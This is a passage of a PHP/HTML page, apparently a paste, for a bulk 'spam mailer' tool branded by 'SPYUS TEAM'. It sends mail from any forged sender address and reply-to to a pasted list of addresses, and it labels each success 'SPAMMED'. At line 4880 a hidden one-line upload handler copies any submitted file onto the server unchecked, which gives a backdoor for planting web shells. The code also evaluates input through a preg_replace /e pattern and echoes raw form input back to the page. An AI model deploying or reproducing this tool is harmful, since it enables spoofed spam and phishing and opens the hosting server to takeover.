  4819. </div>
  4820. </div>
  4821.  
  4822. </div>
  4823. </div>
  4824. </div>
  4825. <form action="" method="post" id="form">
  4826. <div class="row">
  4827. <div class="col-md-6">
  4828. <div class="form-group">
  4829. <label for="name">
  4830. Form Name</label>
  4831. <input type="text" name="name" class="form-control" id="name" placeholder="Enter name" value="<?php if(isset($_POST['name'])){ echo $_POST['name']; }?>">
  4832. </div>
  4833. <div class="form-group">
  4834. <label for="email">
  4835. From Email</label>
  4836. <div class="input-group">
  4837. <span class="input-group-addon"><span class="glyphicon glyphicon-envelope"></span>
  4838. </span>
  4839. <input type="text" name="email" class="form-control" id="email" placeholder="Enter email" value="<?php if(isset($_POST['email'])){ echo $_POST['email']; }?>"></div>
  4840. </div>
  4841. <div class="form-group">
  4842. <label for="email">
  4843. Reply To</label>
  4844. <div class="input-group">
  4845. <span class="input-group-addon"><span class="glyphicon glyphicon-envelope"></span>
  4846. </span>
  4847. <input type="text" name="addReplyTo" class="form-control" id="addReplyTo" placeholder="Enter Reply To" value="<?php if(isset($_POST['addReplyTo'])){ echo $_POST['addReplyTo']; }?>"></div>
  4848. </div>
  4849. <div class="form-group">
  4850. <label for="subject">
  4851. Subject</label>
  4852. <input type="text" name="subject" class="form-control" id="subject" placeholder="Enter subject" value="<?php if(isset($_POST['subject'])){ echo $_POST['subject']; }?>">
  4853. </div>
  4854. </div>
  4855. <div class="col-md-6">
  4856. <div class="form-group">
  4857. <label for="name">
  4858. Message</label>
  4859. <textarea name="message" id="message" class="form-control" rows="12" cols="23" placeholder="Message"><?php if(isset($_POST['message'])){ echo $_POST['message']; }?></textarea>
  4860. </div>
  4861. </div>
  4862.  
  4863. <br />
  4864.  
  4865. <div class="col-md-12">
  4866. <div class="form-group">
  4867. <label for="mail">
  4868. Mail Lists</label>
  4869. <textarea name="mail" id="mail" class="form-control" rows="9" cols="25" required="required"
  4870. placeholder="Mail Lists"><?php if(isset($_POST['mail'])){ echo $_POST['mail']; }?></textarea>
  4871. </div>
  4872. </div>
  4873.  
  4874. <div class="col-md-12">
  4875. <input type="submit" class="btn btn-primary pull-right" id="btnContactUs" value=" Send Letter ">
  4876. </div>
  4877. </form>
  4878.  
  4879. <div class="col-md-12">
  4880. <?php (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']));?>
  4881. <?php
  4882. if(isset($_POST["mail"])){
  4883.  
  4884. echo '<br /><div class="alert alert alert-warning" role="alert"> Message is being sent .... </div>';
  4885. $list = $_POST["mail"];
  4886. $emails = explode("\r\n",$list);
  4887. $emailsCount = count($emails);
  4888.  
  4889. for($i = 0 ; $i < $emailsCount ; $i++) {
  4890.  
  4891. $to = $emails[$i];
  4892. $to = str_replace(" ", "", $to);
  4893.  
  4894. $message = str_replace("%email%", $to, lrtrim($_POST['message']));
  4895. $message = urlencode($message);
  4896. $message = ereg_replace("%5C%22", "%22", $message);
  4897. $message = urldecode($message);
  4898. $message = stripslashes($message);
  4899.  
  4900. $subject = str_replace("&email&", $to, lrtrim($_POST['subject']));
  4901. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  4902. $subject = str_replace(' ', '_', $subject);
  4903. $subject = "=?UTF-8?Q?$subject?=";
  4904.  
  4905. $qx=$i+1;
  4906. print "<br/ >Line $qx . Sending mail to <b>$to</b> .... ";
  4907. flush();
  4908.  
  4909. $mail = new PHPMailer();
  4910. $mail->Priority = 1;
  4911.  
  4912. $mail->From = lrtrim($_POST['email']);
  4913. $mail->FromName = lrtrim($_POST['name']);
  4914.  
  4915. $mail->addAddress(lrtrim($to));
  4916. $mail->addReplyTo(lrtrim($_POST['addReplyTo']));
  4917.  
  4918. $mail->isHTML(true);
  4919.  
  4920. $mail->Subject = $subject;
  4921. $mail->Body = str_replace("&time&" , date("F j, Y, g:i a"), $message);
  4922.  
  4923. if(!$mail->send()) {
  4924. echo '<span style="color:red;">Message could not be sent.';
  4925. echo 'Mailer Error: <span class="label label-danger"> ' . $mail->ErrorInfo . ' </span></span>';
  4926. } else {
  4927. echo 'Message sent: <span class="label label-success">SPAMMED</span>';
  4928. }
  4929. }
  4930. echo "<br /><br />";
  4931. }
  4932. ?>
  4933. </div>
  4934. </div>
  4935. </div>
  4936. <p class="text-center"> <br /> &copy 2016, TOOLZ.GQ Mailer - <a href="https://facebook.com/pro.spamerz/"> BY [SPYUS TEAM] </a> <br /> <br /> </p>
  4937. </div>
  4938. <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
  4939. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
  4940. <!-- Include all compiled plugins (below), or include individual files as needed -->
  4941. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script>
  4942. <script>
  4943. /*! jQuery Validation Plugin - v1.13.1 - 10/14/2014
  4944. * http://jqueryvalidation.org/
  4945. * Copyright (c) 2014 Jörn Zaefferer; Licensed MIT */
  4946. !function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a(jQuery)}(function(a){a.extend(a.fn,{validate:function(b){if(!this.length)return void(b&&b.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing."));var c=a.data(this[0],"validator");return c?c:(this.attr("novalidate","novalidate"),c=new a.validator(b,this[0]),a.data(this[0],"validator",c),c.settings.onsubmit&&(this.validateDelegate(":submit","click",function(b){c.settings.submitHandler&&(c.submitButton=b.target),a(b.target).hasClass("cancel")&&(c.cancelSubmit=!0),void 0!==a(b.target).attr("formnovalidate")&&(c.cancelSubmit=!0)}),this.submit(function(b){function d(){var d,e;return c.settings.submitHandler?(c.submitButton&&(d=a("<input type='hidden'/>").attr("name",c.submitButton.name).val(a(c.submitButton).val()).appendTo(c.currentForm)),e=c.settings.submitHandler.call(c,c.currentForm,b),c.submitButton&&d.remove(),void 0!==e?e:!1):!0}return c.settings.debug&&b.preventDefault(),c.cancelSubmit?(c.cancelSubmit=!1,d()):c.form()?c.pendingRequest?(c.formSubmitted=!0,!1):d():(c.focusInvalid(),!1)})),c)},valid:function(){var b,c;return a(this[0]).is("form")?b=this.validate().form():(b=!0,c=a(this[0].form).validate(),this.each(function(){b=c.element(this)&&b})),b},removeAttrs:function(b){var c={},d=this;return a.each(b.split(/\s/),function(a,b){c[b]=d.attr(b),d.removeAttr(b)}),c},rules:function(b,c){var d,e,f,g,h,i,j=this[0];if(b)switch(d=a.data(j.form,"validator").settings,e=d.rules,f=a.validator.staticRules(j),b){case"add":a.extend(f,a.validator.normalizeRule(c)),delete f.messages,e[j.name]=f,c.messages&&(d.messages[j.name]=a.extend(d.messages[j.name],c.messages));break;case"remove":return c?(i={},a.each(c.split(/\s/),function(b,c){i[c]=f[c],delete f[c],"required"===c&&a(j).removeAttr("aria-required")}),i):(delete e[j.name],f)}return g=a.validator.normalizeRules(a.extend({},a.validator.classRules(j),a.validator.attributeRules(j),a.validator.dataRules(j),a.validator.staticRules(j)),j),g.required&&(h=g.required,delete g.required,g=a.extend({required:h},g),a(j).attr("aria-required","true")),g.remote&&(h=g.remote,delete g.remote,g=a.extend(g,{remote:h})),g}}),a.extend(a.expr[":"],{blank:function(b){return!a.trim(""+a(b).val())},filled:function(b){return!!a.trim(""+a(b).val())},unchecked:function(b){return!a(b).prop("checked")}}),a.validator=function(b,c){this.settings=a.extend(!0,{},a.validator.defaults,b),this.currentForm=c,this.init()},a.validator.format=function(b,c){return 1===arguments.length?function(){var c=a.makeArray(arguments);return c.unshift(b),a.validator.format.apply(this,c)}:(arguments.length>2&&c.constructor!==Array&&(c=a.makeArray(arguments).slice(1)),c.constructor!==Array&&(c=[c]),a.each(c,function(a,c){b=b.replace(new RegExp("\\{"+a+"\\}","g"),function(){return c})}),b)},a.extend(a.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusCleanup:!1,focusInvalid:!0,errorContainer:a([]),errorLabelContainer:a([]),onsubmit:!0,ignore:":hidden",ignoreTitle:!1,onfocusin:function(a){this.lastActive=a,this.settings.focusCleanup&&(this.settings.unhighlight&&this.settings.unhighlight.call(this,a,this.settings.errorClass,this.settings.validClass),this.hideThese(this.errorsFor(a)))},onfocusout:function(a){this.checkable(a)||!(a.name in this.submitted)&&this.optional(a)||this.element(a)},onkeyup:function(a,b){(9!==b.which||""!==this.elementValue(a))&&(a.name in this.submitted||a===this.lastElement)&&this.element(a)},onclick:function(a){a.name in this.submitted?this.element(a):a.parentNode.name in this.submitted&&this.element(a.parentNode)},highlight:function(b,c,d){"radio"===b.type?this.findByName(b.name).addClass(c).removeClass(d):a(b).addClass(c).removeClass(d)},unhighlight:function(b,c,d){"radio"===b.type?this.findByName(b.name).removeClass(c).addClass(d):a(b).removeClass(c).addClass(d)}},setDefaults:function(b){a.extend(a.validator.defaults,b)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date ( ISO ).",number:"Please enter a valid number.",digits:"Please enter only digits.",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",maxlength:a.validator.format("Please enter no more than {0} characters."),minlength:a.validator.format("Please enter at least {0} characters."),rangelength:a.validator.format("Please enter a value between {0} and {1} characters long."),range:a.validator.format("Please enter a value between {0} and {1}."),max:a.validator.format("Please enter a value less than or equal to {0}."),min:a.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:!1,prototype:{init:function(){function b(b){var c=a.data(this[0].form,"validator"),d="on"+b.type.replace(/^validate/,""),e=c.settings;e[d]&&!this.is(e.ignore)&&e[d].call(c,this[0],b)}this.labelContainer=a(this.settings.errorLabelContainer),this.errorContext=this.labelContainer.length&&this.labelContainer||a(this.currentForm),this.containers=a(this.settings.errorContainer).add(this.settings.errorLabelContainer),this.submitted={},this.valueCache={},this.pendingRequest=0,this.pending={},this.invalid={},this.reset();var c,d=this.groups={};a.each(this.settings.groups,function(b,c){"string"==typeof c&&(c=c.split(/\s/)),a.each(c,function(a,c){d[c]=b})}),c=this.settings.rules,a.each(c,function(b,d){c[b]=a.validator.normalizeRule(d)}),a(this.currentForm).validateDelegate(":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'] ,[type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], [type='radio'], [type='checkbox']","focusin focusout keyup",b).validateDelegate("select, option, [type='radio'], [type='checkbox']","click",b),this.settings.invalidHandler&&a(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler),a(this.currentForm).find("[required], [data-rule-required], .required").attr("aria-required","true")},form:function(){return this.checkForm(),a.extend(this.submitted,this.errorMap),this.invalid=a.extend({},this.errorMap),this.valid()||a(this.currentForm).triggerHandler("invalid-form",[this]),this.showErrors(),this.valid()},checkForm:function(){this.prepareForm();for(var a=0,b=this.currentElements=this.elements();b[a];a++)this.check(b[a]);return this.valid()},element:function(b){var c=this.clean(b),d=this.validationTargetFor(c),e=!0;return this.lastElement=d,void 0===d?delete this.invalid[c.name]:(this.prepareElement(d),this.currentElements=a(d),e=this.check(d)!==!1,e?delete this.invalid[d.name]:this.invalid[d.name]=!0),a(b).attr("aria-invalid",!e),this.numberOfInvalids()||(this.toHide=this.toHide.add(this.containers)),this.showErrors(),e},showErrors:function(b){if(b){a.extend(this.errorMap,b),this.errorList=[];for(var c in b)this.errorList.push({message:b[c],element:this.findByName(c)[0]});this.successList=a.grep(this.successList,function(a){return!(a.name in b)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){a.fn.resetForm&&a(this.currentForm).resetForm(),this.submitted={},this.lastElement=null,this.prepareForm(),this.hideErrors(),this.elements().removeClass(this.settings.errorClass).removeData("previousValue").removeAttr("aria-invalid")},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(a){var b,c=0;for(b in a)c++;return c},hideErrors:function(){this.hideThese(this.toHide)},hideThese:function(a){a.not(this.containers).text(""),this.addWrapper(a).hide()},valid:function(){return 0===this.size()},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{a(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus().trigger("focusin")}catch(b){}},findLastActive:function(){var b=this.lastActive;return b&&1===a.grep(this.errorList,function(a){return a.element.name===b.name}).length&&b},elements:function(){var b=this,c={};return a(this.currentForm).find("input, select, textarea").not(":submit, :reset, :image, [disabled], [readonly]").not(this.settings.ignore).filter(function(){return!this.name&&b.settings.debug&&window.console&&console.error("%o has no name assigned",this),this.name in c||!b.objectLength(a(this).rules())?!1:(c[this.name]=!0,!0)})},clean:function(b){return a(b)[0]},errors:function(){var b=this.settings.errorClass.split(" ").join(".");return a(this.settings.errorElement+"."+b,this.errorContext)},reset:function(){this.successList=[],this.errorList=[],this.errorMap={},this.toShow=a([]),this.toHide=a([]),this.currentElements=a([])},prepareForm:function(){this.reset(),this.toHide=this.errors().add(this.containers)},prepareElement:function(a){this.reset(),this.toHide=this.errorsFor(a)},elementValue:function(b){var c,d=a(b),e=b.type;return"radio"===e||"checkbox"===e?a("input[name='"+b.name+"']:checked").val():"number"===e&&"undefined"!=typeof b.validity?b.validity.badInput?!1:d.val():(c=d.val(),"string"==typeof c?c.replace(/\r/g,""):c)},check:function(b){b=this.validationTargetFor(this.clean(b));var c,d,e,f=a(b).rules(),g=a.map(f,function(a,b){return b}).length,h=!1,i=this.elementValue(b);for(d in f){e={method:d,parameters:f[d]};try{if(c=a.validator.methods[d].call(this,i,b,e.parameters),"dependency-mismatch"===c&&1===g){h=!0;continue}if(h=!1,"pending"===c)return void(this.toHide=this.toHide.not(this.errorsFor(b)));if(!c)return this.formatAndAdd(b,e),!1}catch(j){throw this.settings.debug&&window.console&&console.log("Exception occurred when checking element "+b.id+", check the '"+e.method+"' method.",j),j}}if(!h)return this.objectLength(f)&&this.successList.push(b),!0},customDataMessage:function(b,c){return a(b).data("msg"+c.charAt(0).toUpperCase()+c.substring(1).toLowerCase())||a(b).data("msg")},customMessage:function(a,b){var c=this.settings.messages[a];return c&&(c.constructor===String?c:c[b])},findDefined:function(){for(var a=0;a<arguments.length;a++)if(void 0!==arguments[a])return arguments[a];return void 0},defaultMessage:function(b,c){return this.findDefined(this.customMessage(b.name,c),this.customDataMessage(b,c),!this.settings.ignoreTitle&&b.title||void 0,a.validator.messages[c],"<strong>Warning: No message defined for "+b.name+"</strong>")},formatAndAdd:function(b,c){var d=this.defaultMessage(b,c.method),e=/\$?\{(\d+)\}/g;"function"==typeof d?d=d.call(this,c.parameters,b):e.test(d)&&(d=a.validator.format(d.replace(e,"{$1}"),c.parameters)),this.errorList.push({message:d,element:b,method:c.method}),this.errorMap[b.name]=d,this.submitted[b.name]=d},addWrapper:function(a){return this.settings.wrapper&&(a=a.add(a.parent(this.settings.wrapper))),a},defaultShowErrors:function(){var a,b,c;for(a=0;this.errorList[a];a++)c=this.errorList[a],this.settings.highlight&&this.settings.highlight.call(this,c.element,this.settings.errorClass,this.settings.validClass),this.showLabel(c.element,c.message);if(this.errorList.length&&(this.toShow=this.toShow.add(this.containers)),this.settings.success)for(a=0;this.successList[a];a++)this.showLabel(this.successList[a]);if(this.settings.unhighlight)for(a=0,b=this.validElements();b[a];a++)this.settings.unhighlight.call(this,b[a],this.settings.errorClass,this.settings.validClass);this.toHide=this.toHide.not(this.toShow),this.hideErrors(),this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return a(this.errorList).map(function(){return this.element})},showLabel:function(b,c){var d,e,f,g=this.errorsFor(b),h=this.idOrName(b),i=a(b).attr("aria-describedby");g.length?(g.removeClass(this.settings.validClass).addClass(this.settings.errorClass),g.html(c)):(g=a("<"+this.settings.errorElement+">").attr("id",h+"-error").addClass(this.settings.errorClass).html(c||""),d=g,this.settings.wrapper&&(d=g.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()),this.labelContainer.length?this.labelContainer.append(d):this.settings.errorPlacement?this.settings.errorPlacement(d,a(b)):d.insertAfter(b),g.is("label")?g.attr("for",h):0===g.parents("label[for='"+h+"']").length&&(f=g.attr("id").replace(/(:|\.|\[|\])/g,"\\$1"),i?i.match(new RegExp("\\b"+f+"\\b"))||(i+=" "+f):i=f,a(b).attr("aria-describedby",i),e=this.groups[b.name],e&&a.each(this.groups,function(b,c){c===e&&a("[name='"+b+"']",this.currentForm).attr("aria-describedby",g.attr("id"))}))),!c&&this.settings.success&&(g.text(""),"string"==typeof this.settings.success?g.addClass(this.settings.success):this.settings.success(g,b)),this.toShow=this.toShow.add(g)},errorsFor:function(b){var c=this.idOrName(b),d=a(b).attr("aria-describedby"),e="label[for='"+c+"'], label[for='"+c+"'] *";return d&&(e=e+", #"+d.replace(/\s+/g,", #")),this.errors().filter(e)},idOrName:function(a){return this.groups[a.name]||(this.checkable(a)?a.name:a.id||a.name)},validationTargetFor:function(b){return this.checkable(b)&&(b=this.findByName(b.name)),a(b).not(this.settings.ignore)[0]},checkable:function(a){return/radio|checkbox/i.test(a.type)},findByName:function(b){return a(this.currentForm).find("[name='"+b+"']")},getLength:function(b,c){switch(c.nodeName.toLowerCase()){case"select":return a("option:selected",c).length;case"input":if(this.checkable(c))return this.findByName(c.name).filter(":checked").length}return b.length},depend:function(a,b){return this.dependTypes[typeof a]?this.dependTypes[typeof a](a,b):!0},dependTypes:{"boolean":function(a){return a},string:function(b,c){return!!a(b,c.form).length},"function":function(a,b){return a(b)}},optional:function(b){var c=this.elementValue(b);return!a.validator.methods.required.call(this,c,b)&&"dependency-mismatch"},startRequest:function(a){this.pending[a.name]||(this.pendingRequest++,this.pending[a.name]=!0)},stopRequest:function(b,c){this.pendingRequest--,this.pendingRequest<0&&(this.pendingRequest=0),delete this.pending[b.name],c&&0===this.pendingRequest&&this.formSubmitted&&this.form()?(a(this.currentForm).submit(),this.formSubmitted=!1):!c&&0===this.pendingRequest&&this.formSubmitted&&(a(this.currentForm).triggerHandler("invalid-form",[this]),this.formSubmitted=!1)},previousValue:function(b){return a.data(b,"previousValue")||a.data(b,"previousValue",{old:null,valid:!0,message:this.defaultMessage(b,"remote")})}},classRuleSettings:{required:{required:!0},email:{email:!0},url:{url:!0},date:{date:!0},dateISO:{dateISO:!0},number:{number:!0},digits:{digits:!0},creditcard:{creditcard:!0}},addClassRules:function(b,c){b.constructor===String?this.classRuleSettings[b]=c:a.extend(this.classRuleSettings,b)},classRules:function(b){var c={},d=a(b).attr("class");return d&&a.each(d.split(" "),function(){this in a.validator.classRuleSettings&&a.extend(c,a.validator.classRuleSettings[this])}),c},attributeRules:function(b){var c,d,e={},f=a(b),g=b.getAttribute("type");for(c in a.validator.methods)"required"===c?(d=b.getAttribute(c),""===d&&(d=!0),d=!!d):d=f.attr(c),/min|max/.test(c)&&(null===g||/number|range|text/.test(g))&&(d=Number(d)),d||0===d?e[c]=d:g===c&&"range"!==g&&(e[c]=!0);return e.maxlength&&/-1|2147483647|524288/.test(e.maxlength)&&delete e.maxlength,e},dataRules:function(b){var c,d,e={},f=a(b);for(c in a.validator.methods)d=f.data("rule"+c.charAt(0).toUpperCase()+c.substring(1).toLowerCase()),void 0!==d&&(e[c]=d);return e},staticRules:function(b){var c={},d=a.data(b.form,"validator");return d.settings.rules&&(c=a.validator.normalizeRule(d.settings.rules[b.name])||{}),c},normalizeRules:function(b,c){return a.each(b,function(d,e){if(e===!1)return void delete b[d];if(e.param||e.depends){var f=!0;switch(typeof e.depends){case"string":f=!!a(e.depends,c.form).length;break;case"function":f=e.depends.call(c,c)}f?b[d]=void 0!==e.param?e.param:!0:delete b[d]}}),a.each(b,function(d,e){b[d]=a.isFunction(e)?e(c):e}),a.each(["minlength","maxlength"],function(){b[this]&&(b[this]=Number(b[this]))}),a.each(["rangelength","range"],function(){var c;b[this]&&(a.isArray(b[this])?b[this]=[Number(b[this][0]),Number(b[this][1])]:"string"==typeof b[this]&&(c=b[this].replace(/[\[\]]/g,"").split(/[\s,]+/),b[this]=[Number(c[0]),Number(c[1])]))}),a.validator.autoCreateRanges&&(null!=b.min&&null!=b.max&&(b.range=[b.min,b.max],delete b.min,delete b.max),null!=b.minlength&&null!=b.maxlength&&(b.rangelength=[b.minlength,b.maxlength],delete b.minlength,delete b.maxlength)),b},normalizeRule:function(b){if("string"==typeof b){var c={};a.each(b.split(/\s/),function(){c[this]=!0}),b=c}return b},addMethod:function(b,c,d){a.validator.methods[b]=c,a.validator.messages[b]=void 0!==d?d:a.validator.messages[b],c.length<3&&a.validator.addClassRules(b,a.validator.normalizeRule(b))},methods:{required:function(b,c,d){if(!this.depend(d,c))return"dependency-mismatch";if("select"===c.nodeName.toLowerCase()){var e=a(c).val();return e&&e.length>0}return this.checkable(c)?this.getLength(b,c)>0:a.trim(b).length>0},email:function(a,b){return this.optional(b)||/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test(a)},url:function(a,b){return this.optional(b)||/^(https?|s?ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(a)},date:function(a,b){return this.optional(b)||!/Invalid|NaN/.test(new Date(a).toString())},dateISO:function(a,b){return this.optional(b)||/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test(a)},number:function(a,b){return this.optional(b)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(a)},digits:function(a,b){return this.optional(b)||/^\d+$/.test(a)},creditcard:function(a,b){if(this.optional(b))return"dependency-mismatch";if(/[^0-9 \-]+/.test(a))return!1;var c,d,e=0,f=0,g=!1;if(a=a.replace(/\D/g,""),a.length<13||a.length>19)return!1;for(c=a.length-1;c>=0;c--)d=a.charAt(c),f=parseInt(d,10),g&&(f*=2)>9&&(f-=9),e+=f,g=!g;return e%10===0},minlength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||e>=d},maxlength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||d>=e},rangelength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||e>=d[0]&&e<=d[1]},min:function(a,b,c){return this.optional(b)||a>=c},max:function(a,b,c){return this.optional(b)||c>=a},range:function(a,b,c){return this.optional(b)||a>=c[0]&&a<=c[1]},equalTo:function(b,c,d){var e=a(d);return this.settings.onfocusout&&e.unbind(".validate-equalTo").bind("blur.validate-equalTo",function(){a(c).valid()}),b===e.val()},remote:function(b,c,d){if(this.optional(c))return"dependency-mismatch";var e,f,g=this.previousValue(c);return this.settings.messages[c.name]||(this.settings.messages[c.name]={}),g.originalMessage=this.settings.messages[c.name].remote,this.settings.messages[c.name].remote=g.message,d="string"==typeof d&&{url:d}||d,g.old===b?g.valid:(g.old=b,e=this,this.startRequest(c),f={},f[c.name]=b,a.ajax(a.extend(!0,{url:d,mode:"abort",port:"validate"+c.name,dataType:"json",data:f,context:e.currentForm,success:function(d){var f,h,i,j=d===!0||"true"===d;e.settings.messages[c.name].remote=g.originalMessage,j?(i=e.formSubmitted,e.prepareElement(c),e.formSubmitted=i,e.successList.push(c),delete e.invalid[c.name],e.showErrors()):(f={},h=d||e.defaultMessage(c,"remote"),f[c.name]=g.message=a.isFunction(h)?h(b):h,e.invalid[c.name]=!0,e.showErrors(f)),g.valid=j,e.stopRequest(c,j)}},d)),"pending")}}}),a.format=function(){throw"$.format has been deprecated. Please use $.validator.format instead."};var b,c={};a.ajaxPrefilter?a.ajaxPrefilter(function(a,b,d){var e=a.port;"abort"===a.mode&&(c[e]&&c[e].abort(),c[e]=d)}):(b=a.ajax,a.ajax=function(d){var e=("mode"in d?d:a.ajaxSettings).mode,f=("port"in d?d:a.ajaxSettings).port;return"abort"===e?(c[f]&&c[f].abort(),c[f]=b.apply(this,arguments),c[f]):b.apply(this,arguments)}),a.extend(a.fn,{validateDelegate:function(b,c,d){return this.bind(c,function(c){var e=a(c.target);return e.is(b)?d.apply(e,arguments):void 0})}})});
  4947.  
  4948.  
  4949. $(document).ready(function(){
  4950. $("#form").validate({
  4951. rules: {
  4952. name: { required: true , minlength: 2 },
  4953. email: { required: true , minlength: 2 },
  4954. subject: { required: true , minlength: 2 },
  4955. message: { required: true , minlength: 2 },
  4956. mail: { required: true , minlength: 2 },
  4957. },
  4958. messages: {
  4959. name: "",
  4960. email: "",
  4961. subject: "",
  4962. message: "",
  4963. mail: "",
  4964. },
  4965. submitHandler: function(form) {
  4966. form.submit();
  4967. }
  4968. });
  4969. });
  4970. </script>
  4971. <style>
  4972. label.error {
  4973. display: none!important;
  4974. visibility: hidden!important;
  4975. }
  4976. </style>
  4977. </body>
  4978. </html>
Add Comment
Please, Sign In to add comment